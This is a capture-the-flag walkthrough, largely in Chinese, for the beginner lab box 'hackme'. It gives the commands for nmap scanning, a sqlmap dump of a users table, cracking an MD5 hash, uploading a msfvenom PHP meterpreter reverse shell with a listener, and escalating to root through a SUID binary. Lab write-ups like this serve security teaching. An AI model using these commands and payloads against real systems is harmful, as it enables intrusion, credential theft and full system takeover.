Description
‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment.
‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently.
This works better with VirtualBox rather than VMware
Walkthrough
扫描探测
先找到目标机器的IP
arp-scan -I eth0 -l
扫描目标机器开放的服务
nmap -sV 10.0.1.102
发现开放了ssh服务和http服务
打开web站点
SQL注入
这里有个登陆页面和注册页面,可以用burpsuite抓包,再用sqlmap检测注入点
不过这两个页面测了半天没发现什么
于是注册了个账号登陆进去
登陆进去发现一个查询页面
抓取报文
sqlmap跑库
sqlmap -r post.txt --dbs --batch
sqlmap -r post.txt -D webapphacking --tables --batch
sqlmap -r post.txt -D webapphacking -T users --columns --batch
sqlmap -r post.txt -D webapphacking -T users -C id,user,pasword --dump --batch
在用户表中发现一个超级管理员用户
通过在线md5网站破解hash https://pmd5.com/
得到密码Uncrackable
登陆之后发一个上传点
文件上传
生成木马并上传
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
打开msf6监听12344端口
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.1.100
msf6 exploit(multi/handler) > set lport 12344
msf6 exploit(multi/handler) > exploit
访问shell地址
http://10.0.1.102/uploads/shell.php
提权
拿到低权限,接下来就是提权。利用find查找拥有suid权限的执行文件
find / -perm -u=s -type f 2>/dev/null
进入shell
发现/leagacy目录里有具有suid权限文件
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
参考:http://c.biancheng.net/view/868.html
执行该文件
cd /home/legacy
./touchmenot
id
ok。这样就成功获得root权限。